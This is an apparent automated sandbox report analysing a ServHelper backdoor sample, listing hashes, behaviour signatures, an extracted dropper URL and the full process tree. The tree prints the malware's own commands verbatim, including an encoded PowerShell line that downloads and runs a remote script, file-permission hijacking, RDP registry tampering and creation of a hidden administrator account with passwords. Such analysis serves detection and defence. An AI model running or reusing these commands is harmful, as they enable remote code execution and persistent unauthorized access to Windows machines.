Analysis

  • max time kernel
    123s
  • max time network
    130s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    29-05-2021 07:26

General

  • Target

    52abd9b0522751f14763b92baf4afa37.exe

  • Size

    6.0MB

  • MD5

    52abd9b0522751f14763b92baf4afa37

  • SHA1

    fd96f6abb4517f9c8d8add8cf46a88c2dc12d247

  • SHA256

    c8259fbe6995239c22a918f08e6cde30c181a725e9a1c379adbef5ecfbd35d63

  • SHA512

    b41342efbb7a4f06e6584d5550946f30870e539c8bd118bd0d3734e0b90bc345ada9689b0b71786807e05e7f8a43a551644ac77418aacf0932faae5f33dd5e0c

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\52abd9b0522751f14763b92baf4afa37.exe
    "C:\Users\Admin\AppData\Local\Temp\52abd9b0522751f14763b92baf4afa37.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1088
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1296
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nyuph52z\nyuph52z.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:288
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4BA0.tmp" "c:\Users\Admin\AppData\Local\Temp\nyuph52z\CSC77467EC5686E4C9F96A2AF266DB28A6D.TMP"
          4⤵
            PID:472
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:568
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:308
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1104
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1900
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1292
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:304
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:596
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1196
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:556
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1712
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1632
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:568
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1832
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1604
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1608
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1140
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1160
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:912
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:964
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1648
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:936
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:528
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:588
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1448
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1060
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:288
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user wgautilacc Ghar4f5 /del
                            1⤵
                              PID:1272
                              • C:\Windows\system32\net.exe
                                net.exe user wgautilacc Ghar4f5 /del
                                2⤵
                                  PID:1424
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                                    3⤵
                                      PID:1220
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user wgautilacc cVhEhtiY /add
                                  1⤵
                                    PID:1556
                                    • C:\Windows\system32\net.exe
                                      net.exe user wgautilacc cVhEhtiY /add
                                      2⤵
                                        PID:892
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user wgautilacc cVhEhtiY /add
                                          3⤵
                                            PID:856
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                        1⤵
                                          PID:1376
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                            2⤵
                                              PID:940
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                                3⤵
                                                  PID:964
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                              1⤵
                                                PID:1228
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                  2⤵
                                                    PID:1184
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                      3⤵
                                                        PID:1712
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                    1⤵
                                                      PID:1272
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                        2⤵
                                                          PID:1612
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                                            3⤵
                                                              PID:1320
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user wgautilacc cVhEhtiY
                                                          1⤵
                                                            PID:856
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user wgautilacc cVhEhtiY
                                                              2⤵
                                                                PID:912
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user wgautilacc cVhEhtiY
                                                                  3⤵
                                                                    PID:1160
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1376
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1424
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:308
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1832
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:524
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1556
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:872
                                                                      • C:\Windows\System32\cmd.exe
                                                                        cmd.exe /C net user wgautilacc 1234
                                                                        1⤵
                                                                          PID:1952
                                                                          • C:\Windows\system32\net.exe
                                                                            net user wgautilacc 1234
                                                                            2⤵
                                                                              PID:856
                                                                              • C:\Windows\system32\net1.exe
                                                                                C:\Windows\system32\net1 user wgautilacc 1234
                                                                                3⤵
                                                                                  PID:304

                                                                            Network

                                                                            MITRE ATT&CK Enterprise v6

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            • memory/308-127-0x000000001AD20000-0x000000001AD22000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/308-134-0x0000000002790000-0x0000000002791000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/308-135-0x00000000023B0000-0x00000000023B1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/308-132-0x000000001B830000-0x000000001B831000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/308-130-0x0000000002690000-0x0000000002691000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/308-128-0x000000001AD24000-0x000000001AD26000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/568-95-0x000000001ADB4000-0x000000001ADB6000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/568-120-0x000000001B870000-0x000000001B871000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/568-107-0x000000001BE30000-0x000000001BE31000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/568-102-0x0000000002430000-0x0000000002431000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/568-101-0x000000001ACE0000-0x000000001ACE1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/568-99-0x000000001B7E0000-0x000000001B7E1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/568-97-0x0000000002680000-0x0000000002681000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/568-94-0x000000001ADB0000-0x000000001ADB2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/568-121-0x000000001B880000-0x000000001B881000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/872-208-0x000000001948A000-0x00000000194A9000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/872-206-0x0000000019484000-0x0000000019486000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/872-205-0x0000000019480000-0x0000000019482000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1088-60-0x0000000041860000-0x0000000041C81000-memory.dmp

                                                                              Filesize

                                                                              4.1MB

                                                                            • memory/1088-65-0x00000000413B7000-0x00000000413B8000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1088-63-0x00000000413B4000-0x00000000413B6000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1088-62-0x00000000413B2000-0x00000000413B4000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1088-64-0x00000000413B6000-0x00000000413B7000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1104-149-0x000000001AB30000-0x000000001AB32000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1104-150-0x000000001AB34000-0x000000001AB36000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1296-75-0x000000001AAE0000-0x000000001AAE1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1296-71-0x000000001ABB0000-0x000000001ABB2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1296-96-0x000000001ABBA000-0x000000001ABD9000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/1296-72-0x000000001ABB4000-0x000000001ABB6000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1296-160-0x000000001C5B0000-0x000000001C5B1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1296-73-0x0000000002710000-0x0000000002711000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1296-67-0x000007FEFBBF1000-0x000007FEFBBF3000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1296-87-0x00000000027D0000-0x00000000027D1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1296-86-0x000000001C150000-0x000000001C151000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1296-85-0x000000001B740000-0x000000001B741000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1296-68-0x0000000002080000-0x0000000002081000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1296-69-0x000000001AC30000-0x000000001AC31000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1296-70-0x0000000002530000-0x0000000002531000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1296-83-0x00000000020D0000-0x00000000020D1000-memory.dmp

                                                                              Filesize

                                                                              4KB